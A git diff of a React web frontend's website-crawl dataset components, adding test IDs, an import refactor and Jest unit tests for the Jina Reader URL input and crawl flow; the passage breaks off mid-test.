--- a/web/app/components/datasets/create/website/base/crawled-result-item.tsx
+++ b/web/app/components/datasets/create/website/base/crawled-result-item.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlResultItem as CrawlResultItemType } from '@/models/datasets'
 import Checkbox from '@/app/components/base/checkbox'
 import Button from '@/app/components/base/button'
@@ -13,6 +13,7 @@ type Props = {
   isPreview: boolean
   onCheckChange: (checked: boolean) => void
   onPreview: () => void
+  testId?: string
 }
 
 const CrawledResultItem: FC<Props> = ({
@@ -21,6 +22,7 @@ const CrawledResultItem: FC<Props> = ({
   isChecked,
   onCheckChange,
   onPreview,
+  testId,
 }) => {
   const { t } = useTranslation()
 
@@ -31,7 +33,7 @@ const CrawledResultItem: FC<Props> = ({
     <div className={cn(isPreview ? 'bg-state-base-active' : 'group hover:bg-state-base-hover', 'cursor-pointer rounded-lg p-2')}>
       <div className='relative flex'>
         <div className='flex h-5 items-center'>
-          <Checkbox className='mr-2 shrink-0' checked={isChecked} onCheck={handleCheckChange} />
+          <Checkbox className='mr-2 shrink-0' checked={isChecked} onCheck={handleCheckChange} id={testId} />
         </div>
         <div className='flex min-w-0 grow flex-col'>
           <div
diff --git a/web/app/components/datasets/create/website/base/crawled-result.tsx b/web/app/components/datasets/create/website/base/crawled-result.tsx
index c168405455..34a702445c 100644
--- a/web/app/components/datasets/create/website/base/crawled-result.tsx
+++ b/web/app/components/datasets/create/website/base/crawled-result.tsx
@@ -4,7 +4,7 @@ import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
 import CheckboxWithLabel from './checkbox-with-label'
 import CrawledResultItem from './crawled-result-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlResultItem } from '@/models/datasets'
 
 const I18N_PREFIX = 'datasetCreation.stepOne.website'
@@ -61,8 +61,10 @@ const CrawledResult: FC<Props> = ({
       <div className='flex h-[34px] items-center justify-between px-4'>
         <CheckboxWithLabel
           isChecked={isCheckAll}
-          onChange={handleCheckedAll} label={isCheckAll ? t(`${I18N_PREFIX}.resetAll`) : t(`${I18N_PREFIX}.selectAll`)}
+          onChange={handleCheckedAll}
+          label={isCheckAll ? t(`${I18N_PREFIX}.resetAll`) : t(`${I18N_PREFIX}.selectAll`)}
           labelClassName='system-[13px] leading-[16px] font-medium text-text-secondary'
+          testId='select-all'
         />
         <div className='text-xs text-text-tertiary'>
           {t(`${I18N_PREFIX}.scrapTimeInfo`, {
@@ -80,6 +82,7 @@ const CrawledResult: FC<Props> = ({
             payload={item}
             isChecked={checkedList.some(checkedItem => checkedItem.source_url === item.source_url)}
             onCheckChange={handleItemCheckChange(item)}
+            testId={`item-${index}`}
           />
         ))}
       </div>
diff --git a/web/app/components/datasets/create/website/base/error-message.tsx b/web/app/components/datasets/create/website/base/error-message.tsx
index 2788eb9013..4a88dfe79e 100644
--- a/web/app/components/datasets/create/website/base/error-message.tsx
+++ b/web/app/components/datasets/create/website/base/error-message.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { AlertTriangle } from '@/app/components/base/icons/src/vender/solid/alertsAndFeedback'
 
 type Props = {
diff --git a/web/app/components/datasets/create/website/base/field.tsx b/web/app/components/datasets/create/website/base/field.tsx
index 43d76464e6..5db048c6b9 100644
--- a/web/app/components/datasets/create/website/base/field.tsx
+++ b/web/app/components/datasets/create/website/base/field.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React from 'react'
 import Input from './input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Tooltip from '@/app/components/base/tooltip'
 
 type Props = {
diff --git a/web/app/components/datasets/create/website/base/header.tsx b/web/app/components/datasets/create/website/base/header.tsx
index 5a99835522..c5aa95189f 100644
--- a/web/app/components/datasets/create/website/base/header.tsx
+++ b/web/app/components/datasets/create/website/base/header.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import Divider from '@/app/components/base/divider'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiBookOpenLine, RiEqualizer2Line } from '@remixicon/react'
 
 type HeaderProps = {
diff --git a/web/app/components/datasets/create/website/base/options-wrap.tsx b/web/app/components/datasets/create/website/base/options-wrap.tsx
index f17a546203..9428782fdb 100644
--- a/web/app/components/datasets/create/website/base/options-wrap.tsx
+++ b/web/app/components/datasets/create/website/base/options-wrap.tsx
@@ -4,7 +4,7 @@ import type { FC } from 'react'
 import React, { useEffect } from 'react'
 import { useTranslation } from 'react-i18next'
 import { RiEqualizer2Line } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { ChevronRight } from '@/app/components/base/icons/src/vender/line/arrows'
 const I18N_PREFIX = 'datasetCreation.stepOne.website'
 
diff --git a/web/app/components/datasets/create/website/firecrawl/options.tsx b/web/app/components/datasets/create/website/firecrawl/options.tsx
index dea6c0e5b9..f31ae93e9d 100644
--- a/web/app/components/datasets/create/website/firecrawl/options.tsx
+++ b/web/app/components/datasets/create/website/firecrawl/options.tsx
@@ -4,7 +4,7 @@ import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
 import CheckboxWithLabel from '../base/checkbox-with-label'
 import Field from '../base/field'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { CrawlOptions } from '@/models/datasets'
 
 const I18N_PREFIX = 'datasetCreation.stepOne.website'
diff --git a/web/app/components/datasets/create/website/index.tsx b/web/app/components/datasets/create/website/index.tsx
index ee7ace6815..180f6c6bcd 100644
--- a/web/app/components/datasets/create/website/index.tsx
+++ b/web/app/components/datasets/create/website/index.tsx
@@ -7,7 +7,7 @@ import NoData from './no-data'
 import Firecrawl from './firecrawl'
 import Watercrawl from './watercrawl'
 import JinaReader from './jina-reader'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useModalContext } from '@/context/modal-context'
 import type { CrawlOptions, CrawlResultItem } from '@/models/datasets'
 import { DataSourceProvider } from '@/models/common'
diff --git a/web/app/components/datasets/create/website/jina-reader/base.spec.tsx b/web/app/components/datasets/create/website/jina-reader/base.spec.tsx
new file mode 100644
index 0000000000..44120f8f54
--- /dev/null
+++ b/web/app/components/datasets/create/website/jina-reader/base.spec.tsx
@@ -0,0 +1,396 @@
+import { fireEvent, render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import UrlInput from './base/url-input'
+
+// Mock doc link context
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => () => 'https://docs.example.com',
+}))
+
+// ============================================================================
+// UrlInput Component Tests
+// ============================================================================
+
+describe('UrlInput', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Helper to create default props for UrlInput
+  const createUrlInputProps = (overrides: Partial<Parameters<typeof UrlInput>[0]> = {}) => ({
+    isRunning: false,
+    onRun: jest.fn(),
+    ...overrides,
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      render(<UrlInput {...props} />)
+
+      // Assert
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: /run/i })).toBeInTheDocument()
+    })
+
+    it('should render input with placeholder from docLink', () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      render(<UrlInput {...props} />)
+
+      // Assert
+      const input = screen.getByRole('textbox')
+      expect(input).toHaveAttribute('placeholder', 'https://docs.example.com')
+    })
+
+    it('should render run button with correct text when not running', () => {
+      // Arrange
+      const props = createUrlInputProps({ isRunning: false })
+
+      // Act
+      render(<UrlInput {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /run/i })).toBeInTheDocument()
+    })
+
+    it('should render button without text when running', () => {
+      // Arrange
+      const props = createUrlInputProps({ isRunning: true })
+
+      // Act
+      render(<UrlInput {...props} />)
+
+      // Assert - find button by data-testid when in loading state
+      const runButton = screen.getByTestId('url-input-run-button')
+      expect(runButton).toBeInTheDocument()
+      // Button text should be empty when running
+      expect(runButton).not.toHaveTextContent(/run/i)
+    })
+
+    it('should show loading state on button when running', () => {
+      // Arrange
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ isRunning: true, onRun })
+
+      // Act
+      render(<UrlInput {...props} />)
+
+      // Assert - find button by data-testid when in loading state
+      const runButton = screen.getByTestId('url-input-run-button')
+      expect(runButton).toBeInTheDocument()
+
+      // Verify button is empty (loading state removes text)
+      expect(runButton).not.toHaveTextContent(/run/i)
+
+      // Verify clicking doesn't trigger onRun when loading
+      fireEvent.click(runButton)
+      expect(onRun).not.toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // User Input Tests
+  // --------------------------------------------------------------------------
+  describe('User Input', () => {
+    it('should update URL value when user types', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://test.com')
+
+      // Assert
+      expect(input).toHaveValue('https://test.com')
+    })
+
+    it('should handle URL input clearing', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://test.com')
+      await userEvent.clear(input)
+
+      // Assert
+      expect(input).toHaveValue('')
+    })
+
+    it('should handle special characters in URL', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com/path?query=value&foo=bar')
+
+      // Assert
+      expect(input).toHaveValue('https://example.com/path?query=value&foo=bar')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Button Click Tests
+  // --------------------------------------------------------------------------
+  describe('Button Click', () => {
+    it('should call onRun with URL when button is clicked', async () => {
+      // Arrange
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ onRun })
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://run-test.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      expect(onRun).toHaveBeenCalledWith('https://run-test.com')
+      expect(onRun).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onRun with empty string if no URL entered', async () => {
+      // Arrange
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ onRun })
+
+      // Act
+      render(<UrlInput {...props} />)
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      expect(onRun).toHaveBeenCalledWith('')
+    })
+
+    it('should not call onRun when isRunning is true', async () => {
+      // Arrange
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ onRun, isRunning: true })
+
+      // Act
+      render(<UrlInput {...props} />)
+      const runButton = screen.getByTestId('url-input-run-button')
+      fireEvent.click(runButton)
+
+      // Assert
+      expect(onRun).not.toHaveBeenCalled()
+    })
+
+    it('should not call onRun when already running', async () => {
+      // Arrange
+      const onRun = jest.fn()
+
+      // First render with isRunning=false, type URL, then rerender with isRunning=true
+      const { rerender } = render(<UrlInput isRunning={false} onRun={onRun} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://test.com')
+
+      // Rerender with isRunning=true to simulate a running state
+      rerender(<UrlInput isRunning={true} onRun={onRun} />)
+
+      // Find and click the button by data-testid (loading state has no text)
+      const runButton = screen.getByTestId('url-input-run-button')
+      fireEvent.click(runButton)
+
+      // Assert - onRun should not be called due to early return at line 28
+      expect(onRun).not.toHaveBeenCalled()
+    })
+
+    it('should prevent multiple clicks when already running', async () => {
+      // Arrange
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ onRun, isRunning: true })
+
+      // Act
+      render(<UrlInput {...props} />)
+      const runButton = screen.getByTestId('url-input-run-button')
+      fireEvent.click(runButton)
+      fireEvent.click(runButton)
+      fireEvent.click(runButton)
+
+      // Assert
+      expect(onRun).not.toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should respond to isRunning prop change', () => {
+      // Arrange
+      const props = createUrlInputProps({ isRunning: false })
+
+      // Act
+      const { rerender } = render(<UrlInput {...props} />)
+      expect(screen.getByRole('button', { name: /run/i })).toBeInTheDocument()
+
+      // Change isRunning to true
+      rerender(<UrlInput {...props} isRunning={true} />)
+
+      // Assert - find button by data-testid and verify it's now in loading state
+      const runButton = screen.getByTestId('url-input-run-button')
+      expect(runButton).toBeInTheDocument()
+      // When loading, the button text should be empty
+      expect(runButton).not.toHaveTextContent(/run/i)
+    })
+
+    it('should call updated onRun callback after prop change', async () => {
+      // Arrange
+      const onRun1 = jest.fn()
+      const onRun2 = jest.fn()
+
+      // Act
+      const { rerender } = render(<UrlInput isRunning={false} onRun={onRun1} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://first.com')
+
+      // Change onRun callback
+      rerender(<UrlInput isRunning={false} onRun={onRun2} />)
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - new callback should be called
+      expect(onRun1).not.toHaveBeenCalled()
+      expect(onRun2).toHaveBeenCalledWith('https://first.com')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Callback Stability Tests
+  // --------------------------------------------------------------------------
+  describe('Callback Stability', () => {
+    it('should use memoized handleUrlChange callback', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      const { rerender } = render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'a')
+
+      // Rerender with same props
+      rerender(<UrlInput {...props} />)
+      await userEvent.type(input, 'b')
+
+      // Assert - input should work correctly across rerenders
+      expect(input).toHaveValue('ab')
+    })
+
+    it('should maintain URL state across rerenders', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      const { rerender } = render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://stable.com')
+
+      // Rerender
+      rerender(<UrlInput {...props} />)
+
+      // Assert - URL should be maintained
+      expect(input).toHaveValue('https://stable.com')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Component Memoization Tests
+  // --------------------------------------------------------------------------
+  describe('Component Memoization', () => {
+    it('should be wrapped with React.memo', () => {
+      // Assert
+      expect(UrlInput.$$typeof).toBeDefined()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Edge Cases Tests
+  // --------------------------------------------------------------------------
+  describe('Edge Cases', () => {
+    it('should handle very long URLs', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+      const longUrl = `https://example.com/${'a'.repeat(1000)}`
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, longUrl)
+
+      // Assert
+      expect(input).toHaveValue(longUrl)
+    })
+
+    it('should handle URLs with unicode characters', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+      const unicodeUrl = 'https://example.com/路径/测试'
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, unicodeUrl)
+
+      // Assert
+      expect(input).toHaveValue(unicodeUrl)
+    })
+
+    it('should handle rapid typing', async () => {
+      // Arrange
+      const props = createUrlInputProps()
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://rapid.com', { delay: 1 })
+
+      // Assert
+      expect(input).toHaveValue('https://rapid.com')
+    })
+
+    it('should handle keyboard enter to trigger run', async () => {
+      // Arrange - Note: This tests if the button can be activated via keyboard
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ onRun })
+
+      // Act
+      render(<UrlInput {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://enter.com')
+
+      // Focus button and press enter
+      const button = screen.getByRole('button', { name: /run/i })
+      button.focus()
+      await userEvent.keyboard('{Enter}')
+
+      // Assert
+      expect(onRun).toHaveBeenCalledWith('https://enter.com')
+    })
+
+    it('should handle empty URL submission', async () => {
+      // Arrange
+      const onRun = jest.fn()
+      const props = createUrlInputProps({ onRun })
+
+      // Act
+      render(<UrlInput {...props} />)
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - should call with empty string
+      expect(onRun).toHaveBeenCalledWith('')
+    })
+  })
+})
diff --git a/web/app/components/datasets/create/website/jina-reader/base/url-input.tsx b/web/app/components/datasets/create/website/jina-reader/base/url-input.tsx
index c4c2c15b28..1b30c44a88 100644
--- a/web/app/components/datasets/create/website/jina-reader/base/url-input.tsx
+++ b/web/app/components/datasets/create/website/jina-reader/base/url-input.tsx
@@ -41,6 +41,7 @@ const UrlInput: FC<Props> = ({
         onClick={handleOnRun}
         className='ml-2'
         loading={isRunning}
+        data-testid='url-input-run-button'
       >
         {!isRunning ? t(`${I18N_PREFIX}.run`) : ''}
       </Button>
diff --git a/web/app/components/datasets/create/website/jina-reader/index.spec.tsx b/web/app/components/datasets/create/website/jina-reader/index.spec.tsx
new file mode 100644
index 0000000000..16b302bbd2
--- /dev/null
+++ b/web/app/components/datasets/create/website/jina-reader/index.spec.tsx
@@ -0,0 +1,1631 @@
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import JinaReader from './index'
+import type { CrawlOptions, CrawlResultItem } from '@/models/datasets'
+import { checkJinaReaderTaskStatus, createJinaReaderTask } from '@/service/datasets'
+import { sleep } from '@/utils'
+
+// Mock external dependencies
+jest.mock('@/service/datasets', () => ({
+  createJinaReaderTask: jest.fn(),
+  checkJinaReaderTaskStatus: jest.fn(),
+}))
+
+jest.mock('@/utils', () => ({
+  sleep: jest.fn(() => Promise.resolve()),
+}))
+
+// Mock modal context
+const mockSetShowAccountSettingModal = jest.fn()
+jest.mock('@/context/modal-context', () => ({
+  useModalContext: () => ({
+    setShowAccountSettingModal: mockSetShowAccountSettingModal,
+  }),
+}))
+
+// Mock doc link context
+jest.mock('@/context/i18n', () => ({
+  useDocLink: () => () => 'https://docs.example.com',
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+// Note: limit and max_depth are typed as `number | string` in CrawlOptions
+// Tests may use number, string, or empty string values to cover all valid cases
+const createDefaultCrawlOptions = (overrides: Partial<CrawlOptions> = {}): CrawlOptions => ({
+  crawl_sub_pages: true,
+  only_main_content: true,
+  includes: '',
+  excludes: '',
+  limit: 10,
+  max_depth: 2,
+  use_sitemap: false,
+  ...overrides,
+})
+
+const createCrawlResultItem = (overrides: Partial<CrawlResultItem> = {}): CrawlResultItem => ({
+  title: 'Test Page Title',
+  markdown: '# Test Content\n\nThis is test markdown content.',
+  description: 'Test description',
+  source_url: 'https://example.com/page',
+  ...overrides,
+})
+
+const createDefaultProps = (overrides: Partial<Parameters<typeof JinaReader>[0]> = {}) => ({
+  onPreview: jest.fn(),
+  checkedCrawlResult: [] as CrawlResultItem[],
+  onCheckedCrawlResultChange: jest.fn(),
+  onJobIdChange: jest.fn(),
+  crawlOptions: createDefaultCrawlOptions(),
+  onCrawlOptionsChange: jest.fn(),
+  ...overrides,
+})
+
+// ============================================================================
+// Rendering Tests
+// ============================================================================
+describe('JinaReader', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  describe('Rendering', () => {
+    it('should render without crashing', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.website.jinaReaderTitle')).toBeInTheDocument()
+    })
+
+    it('should render header with configuration button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.website.configureJinaReader')).toBeInTheDocument()
+    })
+
+    it('should render URL input field', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+
+    it('should render run button', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      expect(screen.getByRole('button', { name: /run/i })).toBeInTheDocument()
+    })
+
+    it('should render options section', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      expect(screen.getByText('datasetCreation.stepOne.website.options')).toBeInTheDocument()
+    })
+
+    it('should render doc link to Jina Reader', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      const docLink = screen.getByRole('link')
+      expect(docLink).toHaveAttribute('href', 'https://jina.ai/reader')
+    })
+
+    it('should not render crawling or result components initially', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert
+      expect(screen.queryByText(/totalPageScraped/i)).not.toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // Props Testing
+  // ============================================================================
+  describe('Props', () => {
+    it('should call onCrawlOptionsChange when options change', async () => {
+      // Arrange
+      const user = userEvent.setup()
+      const onCrawlOptionsChange = jest.fn()
+      const props = createDefaultProps({ onCrawlOptionsChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Find the limit input by its associated label text
+      const limitLabel = screen.queryByText('datasetCreation.stepOne.website.limit')
+
+      if (limitLabel) {
+        // The limit input is a number input (spinbutton role) within the same container
+        const limitInput = limitLabel.closest('div')?.parentElement?.querySelector('input[type="number"]')
+
+        if (limitInput) {
+          await user.clear(limitInput)
+          await user.type(limitInput, '20')
+
+          // Assert
+          expect(onCrawlOptionsChange).toHaveBeenCalled()
+        }
+      }
+      else {
+        // Options might not be visible, just verify component renders
+        expect(screen.getByText('datasetCreation.stepOne.website.options')).toBeInTheDocument()
+      }
+    })
+
+    it('should execute crawl task when checkedCrawlResult is provided', async () => {
+      // Arrange
+      const checkedItem = createCrawlResultItem({ source_url: 'https://checked.com' })
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Test',
+          content: 'Test content',
+          description: 'Test desc',
+          url: 'https://example.com',
+        },
+      })
+
+      const props = createDefaultProps({
+        checkedCrawlResult: [checkedItem],
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - crawl task should be created even with pre-checked results
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalled()
+      })
+    })
+
+    it('should use default crawlOptions limit in validation', () => {
+      // Arrange
+      const props = createDefaultProps({
+        crawlOptions: createDefaultCrawlOptions({ limit: '' }),
+      })
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Assert - component renders with empty limit
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+  })
+
+  // ============================================================================
+  // State Management Tests
+  // ============================================================================
+  describe('State Management', () => {
+    it('should transition from init to running state when run is clicked', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      let resolvePromise: () => void
+      mockCreateTask.mockImplementation(() => new Promise((resolve) => {
+        resolvePromise = () => resolve({ data: { title: 'T', content: 'C', description: 'D', url: 'https://example.com' } })
+      }))
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const urlInput = screen.getAllByRole('textbox')[0]
+      await userEvent.type(urlInput, 'https://example.com')
+
+      // Click run and immediately check for crawling state
+      const runButton = screen.getByRole('button', { name: /run/i })
+      fireEvent.click(runButton)
+
+      // Assert - crawling indicator should appear
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped/i)).toBeInTheDocument()
+      })
+
+      // Cleanup - resolve the promise
+      resolvePromise!()
+    })
+
+    it('should transition to finished state after successful crawl', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Test Page',
+          content: 'Test content',
+          description: 'Test description',
+          url: 'https://example.com',
+        },
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(screen.getByText(/selectAll|resetAll/i)).toBeInTheDocument()
+      })
+    })
+
+    it('should update crawl result state during polling', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job-123' })
+      mockCheckStatus
+        .mockResolvedValueOnce({
+          status: 'running',
+          current: 1,
+          total: 3,
+          data: [createCrawlResultItem()],
+        })
+        .mockResolvedValueOnce({
+          status: 'completed',
+          current: 3,
+          total: 3,
+          data: [
+            createCrawlResultItem({ source_url: 'https://example.com/1' }),
+            createCrawlResultItem({ source_url: 'https://example.com/2' }),
+            createCrawlResultItem({ source_url: 'https://example.com/3' }),
+          ],
+        })
+
+      const onCheckedCrawlResultChange = jest.fn()
+      const onJobIdChange = jest.fn()
+      const props = createDefaultProps({ onCheckedCrawlResultChange, onJobIdChange })
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(onJobIdChange).toHaveBeenCalledWith('test-job-123')
+      })
+
+      await waitFor(() => {
+        expect(onCheckedCrawlResultChange).toHaveBeenCalled()
+      })
+    })
+
+    it('should fold options when step changes from init', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValueOnce({
+        data: {
+          title: 'Test',
+          content: 'Content',
+          description: 'Desc',
+          url: 'https://example.com',
+        },
+      })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Options should be visible initially
+      expect(screen.getByText('datasetCreation.stepOne.website.crawlSubPage')).toBeInTheDocument()
+
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - options should be folded after crawl starts
+      await waitFor(() => {
+        expect(screen.queryByText('datasetCreation.stepOne.website.crawlSubPage')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Side Effects and Cleanup Tests
+  // ============================================================================
+  describe('Side Effects and Cleanup', () => {
+    it('should call sleep during polling', async () => {
+      // Arrange
+      const mockSleep = sleep as jest.Mock
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      const mockCheckStatus = checkJinaReaderTaskStatus as jest.Mock
+
+      mockCreateTask.mockResolvedValueOnce({ job_id: 'test-job' })
+      mockCheckStatus
+        .mockResolvedValueOnce({ status: 'running', current: 1, total: 2, data: [] })
+        .mockResolvedValueOnce({ status: 'completed', current: 2, total: 2, data: [] })
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert
+      await waitFor(() => {
+        expect(mockSleep).toHaveBeenCalledWith(2500)
+      })
+    })
+
+    it('should update controlFoldOptions when step changes', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockImplementation(() => new Promise((_resolve) => { /* pending */ }))
+
+      const props = createDefaultProps()
+
+      // Act
+      render(<JinaReader {...props} />)
+
+      // Initially options should be visible
+      expect(screen.getByText('datasetCreation.stepOne.website.options')).toBeInTheDocument()
+
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      // Assert - the crawling indicator should appear
+      await waitFor(() => {
+        expect(screen.getByText(/totalPageScraped/i)).toBeInTheDocument()
+      })
+    })
+  })
+
+  // ============================================================================
+  // Callback Stability and Memoization Tests
+  // ============================================================================
+  describe('Callback Stability', () => {
+    it('should maintain stable handleSetting callback', () => {
+      // Arrange
+      const props = createDefaultProps()
+
+      // Act
+      const { rerender } = render(<JinaReader {...props} />)
+      const configButton = screen.getByText('datasetCreation.stepOne.website.configureJinaReader')
+      fireEvent.click(configButton)
+
+      // Assert
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledTimes(1)
+
+      // Rerender and click again
+      rerender(<JinaReader {...props} />)
+      fireEvent.click(configButton)
+
+      expect(mockSetShowAccountSettingModal).toHaveBeenCalledTimes(2)
+    })
+
+    it('should memoize checkValid callback based on crawlOptions', async () => {
+      // Arrange
+      const mockCreateTask = createJinaReaderTask as jest.Mock
+      mockCreateTask.mockResolvedValue({ data: { title: 'T', content: 'C', description: 'D', url: 'https://a.com' } })
+
+      const props = createDefaultProps()
+
+      // Act
+      const { rerender } = render(<JinaReader {...props} />)
+      const input = screen.getByRole('textbox')
+      await userEvent.type(input, 'https://example.com')
+      await userEvent.click(screen.getByRole('button', { name: /run/i }))
+
+      await waitFor(() => {
+        expect(mockCreateTask).toHaveBeenCalledTimes(1)
+      })
+
